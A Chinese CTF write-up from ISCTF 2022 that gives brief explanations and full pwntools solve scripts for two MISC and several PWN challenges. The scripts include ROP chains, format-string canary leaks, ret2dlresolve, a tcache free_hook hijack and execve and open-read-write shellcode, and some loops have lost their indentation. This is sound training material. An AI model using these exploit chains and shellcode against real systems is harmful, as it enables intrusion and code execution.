2022-ISCTF-部分MISC和PWN

misc

两层编码

第一层 sha256掩码爆破
第二层 base64解码找到key

import string,sys
from hashlib import sha256
from multiprocessing import Process
from Crypto.Util.number import *
from pwn import *
import base64
from primefac import *
context(log_level='debug')
io = remote("120.79.18.34","20389")
table = (string.ascii_letters + string.digits).encode()
prefix = [string.ascii_lowercase.encode()[0:13],string.ascii_lowercase.encode()[13:26],string.ascii_uppercase.encode()[0:13],string.ascii_uppercase.encode()[13:26],string.digits.encode()]

def task(index,c,part):
    for i in prefix[index]:
        for j in table:
            for k in table:
                for l in table:
                    raw = i.to_bytes(1, 'big')
                    raw += j.to_bytes(1, 'big')
                    raw += k.to_bytes(1, 'big')
                    raw += l.to_bytes(1, 'big')
                    raw += part.encode()
                    if sha256(raw).hexdigest() == c:
                         
                        raw = raw.decode()
                        print(raw[0:4])
                        io.recvuntil("[+] Plz tell me XXXX: ")
                        io.sendline(raw[0:4])
if __name__ == '__main__':
    io.recvuntil("[+] sha256(XXXX+")
    part=io.recvuntil(") == ",drop=True).decode()
    c = io.recvline().strip(b"\n").decode()
    for i in range(5):
        p=Process(target=task,args=(i,c,part))
        p.start()
    sleep(3)
    io.recvuntil("U ha^4 f1v4 s4c0nds to s0lve the pr0bl4m!\n")
    text=io.recvuntil("\n",drop=True)
    decodestr = base64.b64decode(text)
    a = decodestr.find(b"key{")
    b = decodestr.find(b"}")
    key = ''
    for i in range (a,b+1):
        key += chr(decodestr[i])
    io.recvuntil("can you find my key?")
    io.sendline(key)
    io.interactive()

层层迷宫

递归算法循环走250次迷宫

from pwn import *
import sys
sys.setrecursionlimit(100000000)
context(endian='little',os='linux',arch='amd64',log_level='debug')

sh = remote('120.79.18.34','20876')

s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims         :sh.recvuntil(delims)
ruu     = lambda delims         :sh.recvuntil(delims,drop=True)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)

dirs=[(0,1),(1,0),(0,-1),(-1,0)] 

 
def mark(maze,pos):   
  
    maze[pos[0]][pos[1]]=2
 
def passable(maze,pos):  
  
    return maze[pos[0]][pos[1]]==0
 
def find_path(maze,pos,end,path):
    mark(maze,pos)
    if pos==end:
        print(pos,end=" ") 
        path.append(pos)
        return True
    for i in range(4):      
        nextp=pos[0]+dirs[i][0],pos[1]+dirs[i][1]
        
       
        if passable(maze,nextp):         
            if find_path(maze,nextp,end,path): 
                print(pos,end=" ")
                path.append(pos)
                return True
    return False
def fl(maze,start,end):   
    path=[]               
    find_path(maze,start,end,path)
    #maze_solver(maze,start,end)
    #see_path(maze,path)
    key=''
    ppp = [0] * len(path)
    for i in range (len(path)):
        ppp[i] = path[len(path)-i-1]
    #print(path)
    #print(ppp)
      
    del path
    for i in range (len(ppp)-1):
        if ppp[i][0] > ppp[i+1][0]:
            key += 'w'
        if ppp[i][0] < ppp[i+1][0]:
            key += 's'
        if ppp[i][1] < ppp[i+1][1]:
            key += 'd'
        if ppp[i][1] > ppp[i+1][1]:
            key += 'a'
    print('key = '+key)
    #ru("plz input your way from S to E with keyboard (wasd)")
    ruu("with keyboard (wasd)")
    sl(key)
    ru('you found the way to the exit!\n')
    
     
def main():
    

    a=[]
    try:
        ruu("#")
    except Exception:
        itr()
    a.append(b' #'+ruu('\n'))
    #print(len(a[0]))
    length = (len(a[0])+1)//2
    print(length)
     
    b=[] 
    c=[]  
    
    for i in range(1,length):
        a.append(ruu('\n'))
        
    #print(len(a))
    for i in range(len(a)):
        b.append(a[i])

    #print(len(b))
    #print(a)
    #print(b)

    for i in range (len(b)):
        d=[]
        d.append(1)
        for j in range (len(b[i])):
            #print('j = ',end='')
            #print(b[i][j])
            
            if b[i][j] == ord('#'):
                d.append(1)
            if (((b[i][j] == ord('0')) or (b[i][j] == ord('S')) or ( b[i][j] == ord('E'))) and (b[i][j-1] != ord('['))):
                d.append(0)
        d.append(1)
        print(d)

        c.append(d)
    print('c = ',end='')
    print(c)
    ru("start(")
    x1=int(ruu(','),10)+1
    ru(' ')
    y1=int(ruu(')'),10)
    ru('end(')
    x2=int(ruu(','),10)+1
    ru(' ')
    y2=int(ruu(')'),10)
    print('a = ',end='')
    print(a)
    print('b = ',end='')
    print(b)
    
    start=(y1,x1)
    end = (y2,x2)
    print(start)
    print(end)
    fl(c,start,end)
i=0
while(1):
    i=i+1
    main()
    print('i = ',end='')
    print(i)

pwn

easy_ret2libc

ret2libc,printf泄露libc基地址

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./easy_ret2libc')
sh = remote('120.79.18.34','20639')
elf=ELF('./easy_ret2libc')
libc = ELF('./libc-2.27.so')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()

ru('Will you disclose the base address by using printf?')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x4005F7
pop_rdi_ret = 0x0000000000400723
rdi = 0x40077C
rsi=0x0000000000400721
payload = b'a'*0x48+ p64(pop_rdi_ret) + p64(rdi) + p64(rsi)+p64(printf_got)+p64(0)+p64(printf_plt) + p64(main)
s(payload)
libc_base=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['printf']
lg('libc_base',libc_base)

system = libc_base + libc.sym['system']
binsh=0x00000000001b3d88+libc_base
payload = b'a'*0x28  +p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(main)
s(payload)
'''
ru('i think you can pwn it\n\n')
puts_addr = u64(ru('\x7f').ljust(8,b'\x00'))
lg('puts_addr',puts_addr)
 
base =  puts_addr -  libc.sym['puts']
binsh = 0x000000000018ce57 + base
system = base + libc.sym['system']
payload = b'a'*0x68+ p64(pop_rdi_ret) + p64(binsh) + p64(system) *2
sl(payload)
'''
itr()

inequable_ret2text

格式化字符串泄露canary,之后emmm虽然题目是ret2text,但我还是用的ret2libc

from pwn import *
from LibcSearcher import LibcSearcher
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./inequable_ret2text')
sh = remote('120.79.18.34','20275')
elf=ELF('./inequable_ret2text')
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()

ru('Do you know how the strlen function stops?\n')
s('\n')
ru('Right on! So do you know what a canary is?\n')
sl('%19$p')
canary=int(r(18),16)
lg('canary',canary)
rdi=0x0000000000400903
ru("Are you ready? Let's go!\n")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

rsi=0x0000000000400901
payload = b'a'*0x38+p64(canary)+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sl(payload)
puts_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
lg('puts_addr',puts_addr)
leak = puts_addr
func = 'puts'
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
ru('Do you know how the strlen function stops?\n')
s('\n')
ru('Right on! So do you know what a canary is?\n')
sl('%19$p')
ru("Are you ready? Let's go!\n")
payload = b'a'*0x38+p64(canary)+p64(0)+p64(rdi+1)+p64(rdi)+p64(binsh)+p64(system)*2
sl(payload)

itr()

guess_number

猜数字,利用cdll.LoadLibrary()函数调用c语言的srand函数设置随机数种子为time(0),之后利用rand函数生成随机数即可

from pwn import *
import random
from ctypes import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./guess_number')
sh = remote('120.79.18.34','20894')
elf=ELF('./guess_number')
libc = ELF('./libc-2.27.so')

eelf = cdll.LoadLibrary('./libc-2.27.so')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
       
ru("Tell me your name:")
sl('0')
seed = eelf.time(0)
eelf.srand(seed)
for i in range (100):
sla("Enter your number:",str(eelf.rand()%10000+1))

itr()

nc_pwn

重定向flag内容到sh执行命令,报错输出flag

exec < flag

2022-ISCTF-部分MISC和PWN_第1张图片

format_string

小端序存储数据,按字节输入\xef\x8f\xf7\xaa\x95\x89\xff\x3f绕过第一层判断;
格式化字符串修改内存地址上的值为197109绕过第二层判断;
输入可见字符的shellcode获得shell。

from pwn import *
from LibcSearcher import LibcSearcher
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./format_string')
sh = remote('120.79.18.34','20297')
elf=ELF('./format_string')
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        

ru("Tell me your answer: ")
#sl('\x31\x2e\x39\x37\x31\x30\x39')
#gdb.attach(sh,'b read')
#s('1.971090')
#s('\x31\x2e\x39\x37\x31\x30\x39\x00')
#s('\x00\x39\x30\x31\x37\x39\x2e\x31')
#s('\x00'+str(90179.1))
#s('\x3F\xFF\x89\x95\xAA\xF7\x8F\xEF')
s('\xef\x8f\xf7\xaa\x95\x89\xff\x3f')
ru("Good. Next, try to rewrite a set of data.\n")
check = 0x6010BC
#payload = 'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
 
payload =fmtstr_payload(22, {0x6010BC:197109}, numbwritten=0, write_size="byte")
s(payload)
ru("What's wrong with shellcode?\n")
sleep(0.01)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
 
payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

s(payload)
sleep(0.01)
sl('cat flag')
itr()

candy_house

相当于是个数学题,有个规律,依次输入1,2,3,4…一直到最大的数即可实现每个袋子的糖果数量相等,获得flag

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./candy_house')
sh = remote('120.79.18.34','20491')
#elf=ELF('./candy_house')
 

 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims,drop=True)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)


sla('Press anykey to start','\n')
a=[3, 3, 3, 1, 2]
for i in a:
   sla('Your choice(1-n, 0 to restart): ',str(i))
ru("candie(s) in bags:\x1B[0m")
ru('1 2 ')
 
num = []
num.append(1)
num.append(2)
 
i=0

while 1:
s=ru(' ')
if(len(s)>3):
break
num.append(int(s,10))  
print(num[i])

i=i+1
num.append(num[i+1]+1)  
for i in num:
    sla(': ',str(i))
print(num)
itr()

csu

emmm题目虽然是csu,可能想到ret2csu,但我看ida没有输出函数,直接用的ret2dlresolve
libc用的是2.27

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./pwn')
sh = remote('120.79.18.34','20551')
elf=ELF('./pwn')
libc = ELF('./libc-2.27.so')

 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
'''
fun_addr = 0x400651
bss=0x0600A90 
mprotect=elf.plt['mprotect']
read_plt = elf.plt['read']  
read_got = elf.got['read']
pop_rdi = 0x00000000004006e3  
pop_rsi = 0x00000000004006e1  
payload = b'a'*0x58 + p64(pop_rdi+1)+p64(pop_rdi) + p64(bss + 0x20) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(mprotect)  
payload+=p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(bss + 0x20)
s(payload)
sleep(0.1)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
s(shellcode)
'''
bss=0x0600A90
fun_addr = 0x400651
read_plt = elf.plt['read']  
read_got = elf.got['read']
l_addr = libc.sym['system'] - libc.sym['read']  
r_offset = bss + l_addr * -1  
if l_addr < 0:  
   l_addr = l_addr + 0x10000000000000000  
pop_rdi = 0x00000000004006e3  
pop_rsi = 0x00000000004006e1  
plt_load = 0x04004A6
 
payload = b'a'*0x58 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)  
 
 
sl(payload)

dynstr =0x400348
fake_link_map_addr = bss + 0x100 
fake_dyn_strtab_addr = fake_link_map_addr + 0x8  
fake_dyn_strtab = p64(0) + p64(dynstr)
fake_dyn_symtab_addr = fake_link_map_addr + 0x18  
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) 
fake_dyn_rel_addr = fake_link_map_addr + 0x28  
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)   
fake_rel = p64(r_offset) + p64(0x7) + p64(0)  
fake_link_map = p64(l_addr)   
fake_link_map += fake_dyn_strtab  
fake_link_map += fake_dyn_symtab  
fake_link_map += fake_dyn_rel  
fake_link_map += fake_rel  
fake_link_map = fake_link_map.ljust(0x68,b'\x00')  
fake_link_map += p64(fake_dyn_strtab_addr)  
fake_link_map += p64(fake_dyn_symtab_addr) 
fake_link_map += b'/bin/sh'.ljust(0x80,b'\x00')   
fake_link_map += p64(fake_dyn_rel_addr)  
sleep(0.1)
sl(fake_link_map)
sleep(0.1)

 
rop = b'A'*0x58 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78)  + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sl(rop)

itr()

nothing_to_do

这个题还是ret2dlresolve,试了很多libc,最后是2.31-0ubuntu9.7_amd64/libc-2.31.so

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./nothing_to_do')
sh = remote('120.79.18.34','20450')
elf=ELF('./nothing_to_do')
'''
./libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so
/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu10_amd64/libc-2.23.so
/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so
/home/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so




'''
binary  ='/home/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'
libc = ELF(binary)
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
 
bss=0x000404040
fun_addr = 0x40119D
read_plt = elf.plt['read']  
read_got = elf.got['read']
l_addr = libc.sym['system'] - libc.sym['read']  
r_offset = bss + l_addr * -1  
if l_addr < 0:  
   l_addr = l_addr + 0x10000000000000000  
pop_rdi = 0x0000000000401253  
pop_rsi = 0x0000000000401251  
plt_load = 0x401026
 
payload = b'a'*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)  
 
 
sl(payload)

dynstr =0x400490
fake_link_map_addr = bss + 0x100 
fake_dyn_strtab_addr = fake_link_map_addr + 0x8  
fake_dyn_strtab = p64(0) + p64(dynstr)
fake_dyn_symtab_addr = fake_link_map_addr + 0x18  
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) 
fake_dyn_rel_addr = fake_link_map_addr + 0x28  
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)   
fake_rel = p64(r_offset) + p64(0x7) + p64(0)  
fake_link_map = p64(l_addr)   
fake_link_map += fake_dyn_strtab  
fake_link_map += fake_dyn_symtab  
fake_link_map += fake_dyn_rel  
fake_link_map += fake_rel  
fake_link_map = fake_link_map.ljust(0x68,b'\x00')  
fake_link_map += p64(fake_dyn_strtab_addr)  
fake_link_map += p64(fake_dyn_symtab_addr) 
fake_link_map += b'/bin/sh'.ljust(0x80,b'\x00')   
fake_link_map += p64(fake_dyn_rel_addr)  
sleep(0.1)
s(fake_link_map)
sleep(0.1)

 
rop = b'A'*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78)  + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sl(rop)

itr()

null

看了一下保护全开,2.27的off-by-null,伪造chunk实现堆块重叠,进行tcache bin attack 劫持free_hook为system函数

from pwn import *
import random
from ctypes import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./null')
sh = remote('120.79.18.34','20968')
elf=ELF('./null')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

eelf = cdll.LoadLibrary('./libc-2.27.so')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()
def add(index,size):
sla(":",'1')
sla('Index: ',str(index))
sla("Size ",str(size))
def edit(index,text):
sla(":",'2')
sla('Index: ',str(index))
sla("Content: ",text)
def show(index):
sla(":",'3')
sla('Index: ',str(index))
def free(index):
sla(":",'4')
sla('Index: ',str(index))

for i in range(15): #0~10
add(i,0xf8)
for i in range(14):
free(i)

add(31,0x18)
show(31)
ru('Content: ')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))  -0x3ec160+0x10
 
system = libc_base + libc.sym['system']
 
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
lg('libc_base',libc_base)

for i in range(7):  
add(i,0xf8)

add(7,0xf8)
edit(7,'\x00'*(0xf8-1))
add(8,0x18)
edit(8,'\x00'*(0x18-1))
add(9,0xf8)
edit(9,'\x00'*(0xf8-1))
add(10,0x18)
for i in range(7):
free(i)



edit(31,b'a'*0x10+b'\x00'*7)

free(7)

free(8)

add(8,0x18)
 
edit(8,b'a'*0x10+p64(0x120))

free(9)

for i in range(7):
add(i,0xf8)

add(11,0xf8)
add(12,0x18)
free(8)
edit(12,p64(free_hook))
add(13,0x18)
edit(13,'/bin/sh\x00')

add(16,0x18)
 
edit(16,p64(system))
free(13)


itr()

babycode

输入-2147483648绕过if判断,只能输入0xa字节,且保护全开,不能溢出

观察汇编代码段,当程序执行到call rdx时,rax为0,rdx为page的首地址0x400000,rsi为0x400000,我们可以将rsi加0x80,之后利用syscall调用read函数,就可以读取很多数据到0x400080处,把shellcode写入0x400080起始的地址,再jmp rsi即可跳转到0x400080执行shellcode,因为程序开了沙箱,禁用了execve函数,我们可以通过orw获得flag

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
 
sh = remote('120.79.18.34','20511')
#ssh=process('./babycode')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims,drop=True)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)

shellcode2=asm('''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''')
shellcode=asm('''
mov si,0x80
syscall
jmp rsi
''')
#read(0,page,0xa)
#read(0,page,page)
#call page

ru('input a number . honey~')
sl('-2147483648')
sleep(0.01)
#shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
#gdb.attach(sh)
#pause()
sl('')
ru('now enjoy!')
s(shellcode)
sleep(0.01)
s(shellcode2)
 
print(len(shellcode))
print(shellcode)
print(len(shellcode2))
 
itr()

你可能感兴趣的:(pwn,CTF,misc,python,网络安全,CTF)